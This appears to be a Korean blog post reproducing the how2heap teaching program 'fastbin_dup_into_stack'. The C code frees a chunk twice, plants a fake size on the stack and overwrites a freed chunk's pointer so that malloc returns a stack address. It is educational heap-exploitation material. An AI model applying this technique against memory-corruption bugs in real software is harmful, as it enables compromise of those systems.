[How2Heap] fastbin_dup_into_stack

fastbin_dup_into_stack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "malloc을 tricking하는 fastbin_dup.c의 확장적 부분을 설명한다.\n"
"이번에는 포인터를 조작된 위치로 반환한다.(이 경우엔 stack)\n");

unsigned long long stack_var;

fprintf(stderr, "malloc이 반환해야 할 주소: %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "버퍼를 3개 할당한다.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "malloc a(8): %p\n", a);
fprintf(stderr, "malloc b(8): %p\n", b);
fprintf(stderr, "malloc c(8): %p\n", c);

fprintf(stderr, "-------free(a)-------\n");
free(a);

fprintf(stderr, "-------free(b)-------\n");
free(b);

fprintf(stderr, "-------free(a)-------\n");
free(a);

fprintf(stderr, "free list: [ %p, %p, %p ]\n"
"이제 %p(a)에 있는 데이터를 수정하여 공격할 것이다.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "free list: [ %p ]\n", a);
fprintf(stderr, "이제 우리는 이게 free list의 head로 남아있는 동안 %p에 접근이 가능하다.\n"
"그래서 stack에 fake free size(0x20)를 써준다.\n"
"그러면 malloc은 거기에 free chunk가 있다고 생각할 것이고\n"
"그곳으로 포인터를 반환할 것이다.\n", a);
stack_var = 0x20;

fprintf(stderr, "이제 %p에 있는 데이터의 처음 8바이트를 overwrite하여 0x20 바로 앞에 가리키도록 한다.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, free list에 stack 주소를 넣는다.\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

[fastbin_dup_into_stack.c]



Source

공유하기